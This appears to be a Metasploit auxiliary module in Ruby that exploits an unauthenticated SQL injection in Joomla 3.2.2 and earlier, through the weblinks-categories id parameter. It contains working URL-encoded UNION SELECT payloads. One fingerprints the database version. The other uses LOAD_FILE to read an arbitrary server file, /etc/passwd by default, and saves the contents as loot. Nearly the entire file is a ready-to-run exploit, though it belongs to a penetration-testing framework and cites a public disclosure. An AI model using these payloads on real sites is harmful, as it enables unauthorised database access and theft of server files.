100 lines
2.9 KiB
Ruby
100 lines
2.9 KiB
Ruby
# This module requires Metasploit: http//metasploit.com/download
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##
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read',
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'Description' => %q{
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Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection
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which allows an attacker to access the database or read arbitrary files as the
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'mysql' user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
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],
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'References' =>
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[
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['EDB', '31459']
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],
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'DisclosureDate' => 'Mar 2 2014'
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/joomla']),
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OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
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OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0])
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], self.class)
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end
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def check
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payload = datastore['CATEGORYID'].to_s
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payload << "%29%20UNION%20ALL%20SELECT%20CONCAT%280x71636f7471%2CIFNULL%28CAST%28VERSION%28%29%20"
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payload << "AS%20CHAR%29%2C0x20%29%2C0x7165776271%29%23"
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resp = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, '/index.php/weblinks-categories?id=' + payload)
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})
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if !resp or !resp.body
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return Exploit::CheckCode::Safe
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end
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version = /qcotq(.*)qewbq/.match(resp.body)
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if !version
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return Exploit::CheckCode::Safe
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end
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version = version[1].gsub('qcotq', '').gsub('qewbq', '')
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print_good("Fingerprinted: #{version}")
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return Exploit::CheckCode::Vulnerable
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end
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def run
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file = datastore['FILEPATH'].unpack("H*")[0]
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catid = datastore['CATEGORYID']
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payload = catid.to_s
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payload << "%29%20UNION%20ALL%20SELECT%20CONCAT%280x7163756871%2CIFNULL%28CAST%28HEX%28LOAD_FILE%28"
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payload << "0x#{file}%29%29%20AS%20CHAR%29%2C0x20%29%2C0x716f687671%29%23"
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resp = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, '/index.php/weblinks-categories?id=' + payload)
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})
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if !resp or !resp.body
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fail_with("Server did not respond in an expected way. Verify the IP address.")
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end
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file = /qcuhq(.*)qohvq/.match(resp.body)
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if !file
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fail_with("Either the file didn't exist or the server has been patched.")
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end
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file = file[1].gsub('qcuhq', '').gsub('qohvq', '')
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file = [file].pack("H*")
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path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
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if path and path != ''
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print_good("File saved to: #{path}")
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end
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end
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end
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